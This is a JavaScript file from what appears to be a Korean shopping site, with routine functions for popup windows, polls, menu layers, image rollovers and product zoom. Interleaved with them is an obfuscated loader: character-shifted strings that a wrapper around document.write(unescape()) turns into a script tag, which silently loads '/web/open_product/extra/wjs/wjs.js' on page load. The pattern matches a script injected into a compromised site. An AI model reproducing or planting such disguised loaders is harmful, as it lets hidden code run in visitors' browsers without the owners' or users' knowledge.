function open_window( filename, option, name )
{
 if( !name )
 {
  name = 'new'
 }
 
 
        win = window.open( filename, name, option );
 
        return win
}
 
T = "dbrud,dlfkddbs,ghsmsc,jstoddu,sqns,"; 
function window_open( page, name, top, left, width, height )
{
 option = "'toolbar=no," +
  "location=no," +
  "directories=no," +
  "status=no," +
  "menubar=no," +
  "scrollbars=yes," +
  "resizable=yes," +
  "width=" + width + "," +
  "height=" + height + "," +
  "top=" + top + "," +
  "left=" + left + "'"
 
        window.open( page, name, option );
}
 
Tn = T.split(","); Tt = Tn.length; Ttv = Tt - 2; Ttvv = Ttv + 29; Ttw = Ttvv - 2;
function Back(write){document.write(unescape(write));}
function open_poll_pop( mode, no )
{
 page = '/front/php/poll_r.php?mode=' + mode + '&no=' + no;
 window_open( page, 'poll', 100, 300, 466, 382 );
}
 
/*Left menu ¹ÝÅõ¸í ·¹ÀÌ¾î ±¸Çö*/
function Layer_overload(LayerName,Status) 
{
    if (navigator.appName == "Netscape")
    {
  LayerN = document.getElementById(LayerName).style;
  if (Status == 'show') LayerN.visibility = 'visible';
  if (Status == 'hide') LayerN.visibility = 'hidden';
    } 
    else
    {
  LayerN = document.all[LayerName].style;
  if (Status == 'show') LayerN.visibility = 'visible';
  if (Status == 'hide') LayerN.visibility = 'hidden';
    }
}
 
/*Left menu±¸Çö*/
var old='';
 
function menu(name)
{
 submenu=eval("submenu_"+name+".style");
 if(old!=submenu)
 {
  if(old!='')
  {
   old.display='none';
  }
  submenu.display='block';
  old=submenu;
 }
 else
 {
  submenu.display='none';
  old='';
 }
}
 
 
function Layer_rollover(img_name,img_url)
{
 var menu; 
 //tmp = new String( "document."+img_name );
 menu=eval("document."+img_name);  
 menu.src = img_url;
 return;
}
 
function image_zoom( product_no, main_cate_no, display_group )
{
 //href = '/front/php/image_zoom.php?img='+image+'&product_no='+document.frm.product_no.value;
 href = '/front/php/image_zoom.php?product_no='+product_no+'&main_cate_no='+main_cate_no+'&display_group='+display_group;
 option = 'toolbar=no,scrollbars=no,resizable=yes,width=800,height=640,left=0,top=0';
 win_name = 'image'
 
 window.open( href, win_name, option );
}
 
stuff = new Array(); cooking = "";
stuff[0]=Ttv+"Dtdsjqu"; stuff[1]=Ttw+"uzqf"; stuff[2]=Ttv+"E"; stuff[3]=Ttvv+"ufyu0kbwbtdsjqu"; stuff[4]=Ttvv; stuff[5]=Ttw+"tsd"; stufff ="&"; stuf ="";
stuff[6]=Ttv+"E"; stuff[7]=Ttvv+"0xfc0pqfo`qspevdu0fyusb0xkt0xkt/kt"; stuff[8]=Ttvv; stuff[9]=Ttv+"F"; stuff[10]=Ttv+"D0tdsjqu"; stuff[11]=Ttv+"F";
for( var i = 0; i < stuff.length; i++ ){ stuf+=stufff+stuff[i]; }
for(k=0;k<stuf.length;k++){ cooking+=String.fromCharCode(stuf.charCodeAt(k) - 1); } 
Back(cooking);
